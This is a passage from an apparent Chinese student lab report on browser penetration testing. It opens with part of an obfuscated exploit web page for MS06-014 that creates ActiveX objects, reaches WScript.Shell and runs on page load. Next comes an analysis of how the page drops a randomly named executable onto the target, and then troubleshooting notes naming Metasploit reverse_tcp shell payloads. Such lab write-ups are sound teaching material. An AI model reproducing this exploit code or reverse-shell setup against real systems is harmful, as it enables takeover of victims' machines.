a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch(e) {}
}
if (a) {
try {
var b = HuVtDZksueTZGkmdHl(a, "WScript.Shell");
if (b) {
gXOolkNcRRx(a);
return (0)
}
} catch(e) {}
}
i++
}
}
</script>
</head>
<body onload='mpGIYSoIelaqiCzcvEXVNhOc()'>
BCKrXmmzzJTakfuVkFFoMAb
</body>
</html>
6)我们可以发现js调用了document.location加载了 payload ,并且下一行中后面跟了一个可执行文件 KUVkctKFjqmITCtNXKMNgVU.exe ,这个可执行文件应该是以攻击机为服务器,
通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的。
7)之后,打开靶机的任务管理器进行验证,可以发现上述可执行文件,猜测应该是用来帮攻击机机获取靶机的控制权限。
8)通过查询可以得知BD96C556-65A3-11D0-983A-00C04FC29E36 是漏洞MS06-014中的clsid变量,所以可以得知攻击者是使用MS06-014这个漏洞进行攻击的。
3.学习中遇到的问题及解决
问题1:在设置攻击负载时,输入指令set payload windows/meterpreter/reverse_tcp,发现最终没有会话建立
解决1:查看之前的实验,将命令换成set payload windows/shell/reverse_tcp即可成功。
问题2:在进行实验二时我在命令行输入命令 md5sum 文件名,不好用,如下图
解决2:换一个命令,certutil -hashfile 文件名 MD5,可以成功,如下图:
4.学习感想和体会
通过本次实验,我学习了如何构造漏洞,了解了web浏览器渗透攻击与防御。当然本次实验的内容很多,步骤很琐碎,
占用了较多时间,并且出现BUG后,需要花大量的时间的去改,锻炼了自己的耐心和心态,每次出现问题到学着去解决问题,
再到最后的彻底解决问题是一种心里上的煎熬,是自己跟自己的一种博弈,很难,但解决后也有柳暗花明又一村的成就感。
参考资料决
- 《网络攻防技术实践》
- 云班课视频